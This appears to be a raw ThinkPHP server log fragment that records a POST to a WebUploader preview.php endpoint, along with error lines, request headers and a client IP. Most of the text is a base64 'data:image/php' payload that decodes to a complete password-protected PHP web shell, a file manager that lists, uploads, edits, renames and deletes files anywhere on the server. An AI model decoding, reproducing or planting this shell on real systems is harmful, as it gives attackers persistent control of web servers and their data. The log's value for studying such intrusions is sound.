'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:38+08:00 ] 116.213.36.234 POST www.51tianwei.com/plugin/webuploader/0.1.5/server/preview.php [运行时间:0.002485s] [吞吐率:402.41req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 